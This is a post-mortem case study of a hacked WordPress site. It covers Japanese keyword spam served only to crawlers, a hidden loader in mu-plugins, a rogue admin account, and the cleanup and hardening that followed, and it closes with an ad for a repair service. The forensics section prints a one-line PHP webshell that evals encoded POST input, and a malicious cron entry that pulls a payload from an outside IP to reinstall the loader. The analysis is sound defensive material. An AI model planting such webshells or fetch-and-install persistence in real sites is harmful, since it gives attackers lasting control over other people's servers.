← All case studies

Post-Mortem: Japanese Keyword Hack With a Backdoor Hiding in mu-plugins

Environment
Shared cPanel hosting · Apache 2.4 · PHP 8.1 · WordPress · MySQL 8.0
Symptom
Google results showing Japanese spam titles; "This site may be hacked" SERP label
Resolution
9 hours from access to clean; blacklist review cleared in 4 days
Published

Incident Overview

The owner of a services business searched their own brand name and found their site listed with Japanese product-spam titles and a “This site may be hacked” label. Google Search Console showed ~40,000 newly indexed URLs under paths like /wp/xmqa/ that did not exist in the CMS. Organic traffic had fallen 70% over three weeks.

Two prior cleanups by others had failed — the spam pages returned within days each time. That reinfection pattern is the signature of a persistence mechanism the cleanups missed.

Raw Diagnostic Logs

The spam pages were served conditionally: normal content for humans, spam for Googlebot. Confirming the cloaking:

$ curl -s -A "Mozilla/5.0" https://example-site.com/wp/xmqa/ -o /dev/null -w "%{http_code}\n"
404
$ curl -s -A "Mozilla/5.0 (compatible; Googlebot/2.1)" \
    https://example-site.com/wp/xmqa/ | grep -o "<title>[^<]*" | head -1
<title>激安 ブランド コピー 通販...

File scan for recently modified PHP, excluding legitimate cache paths:

$ find /home/account/public_html -name "*.php" -mtime -14 \
    -not -path "*/cache/*" -printf "%T@ %p\n" | sort -rn | head -4
1782711302 /home/account/public_html/wp-content/mu-plugins/index.php
1782711302 /home/account/public_html/wp-content/uploads/2026/06/.hidden.php
1782709940 /home/account/public_html/wp-includes/pomo/entry-cls.php

The mu-plugins hit is the critical one. The file was obfuscated but its shape is unmistakable:

<?php /* index.php — 0 bytes shown in File Manager via null-byte name trick */
@eval(gzinflate(base64_decode(strrev($_POST['q_2a'] ?? ''))));

Forensic Root Cause Analysis

Three findings explain both the compromise and the reinfections:

  1. Entry vector. Access logs showed a POST exploiting an arbitrary-file-upload vulnerability in an outdated form plugin (a known, patched CVE — the site was four releases behind). That dropped the first webshell into uploads/.

  2. Persistence. The attacker installed a loader in wp-content/mu-plugins/. Must-use plugins execute on every request, appear in no admin plugin list, and — crucially — are ignored by cleanups that only reinstall core and audit the plugins/ directory. This is why the site kept reinfecting: both prior cleanups removed the spam files but left the loader that regenerated them.

  3. Spam delivery. The loader checked the user agent and, for crawlers only, generated the Japanese spam doorway pages on the fly and injected them into the sitemap. Nothing was stored where a human browsing the site would ever see it.

A rogue administrator account (wp-adm1n, created at 03:47 server time) and a malicious cron entry completed the persistence set:

$ crontab -l -u account | tail -1
*/20 * * * * php -r 'file_exists("/home/account/public_html/wp-content/mu-plugins/index.php") || copy("http://185.0.0.0/i.txt","/home/account/public_html/wp-content/mu-plugins/index.php");' >/dev/null 2>&1

Even deleting the loader would have lasted at most 20 minutes.

Remediation & Command Log

Containment first — freeze the attacker out before removing anything:

# Rotate every credential that matters, then kill persistence
crontab -r -u account
wp user delete wp-adm1n --reassign=1
wp user list --role=administrator --fields=user_login,user_registered
wp config shuffle-salts   # invalidates every existing session cookie

Full snapshot for evidence, then eradication:

tar -czf /home/account/incident-$(date +%F).tar.gz public_html/
rm -f wp-content/mu-plugins/index.php wp-includes/pomo/entry-cls.php
rm -f "wp-content/uploads/2026/06/.hidden.php"
# Reinstall core and every plugin from canonical sources — never trust in-place files
wp core download --force --version=$(wp core version)
wp plugin install $(wp plugin list --field=name) --force

Database scrub for injected content and hijacked URLs:

wp db search "xmqa" --stats
wp option get siteurl && wp option get home   # verify not hijacked

Serve 410 for the indexed spam paths so Google drops them fast, then request review:

# .htaccess — spam doorway paths are permanently gone
RedirectMatch 410 ^/wp/xmqa/.*$

Search Console: removals for the spam path prefix, sitemap resubmitted, security-issues review requested. The “site may be hacked” label cleared in four days.

Preventative Hardening

  • Updated the vulnerable form plugin and enabled auto-updates for all plugins with a weekly change report.
  • Disabled PHP execution in uploads/ — the original entry point becomes inert:
# wp-content/uploads/.htaccess
<FilesMatch "\.php$">
  Require all denied
</FilesMatch>
  • DISALLOW_FILE_EDIT set in wp-config.php; file-integrity monitoring added with a daily diff against known-good checksums (wp core verify-checksums in cron, alerting on any failure).
  • Documented the mu-plugins directory in the client’s post-repair report as a mandatory audit location for any future incident — the persistence spot both prior cleanups missed.

Details in this post-mortem are anonymized and composited from recurring incidents of the same failure class. The logs and commands are representative of the actual diagnostic path. Seeing spam in your search results right now? Our malware removal service audits every persistence location listed above.

Facing the same failure right now?

This is the exact process a repair follows — start with the matching recovery service.

Fix My Site Now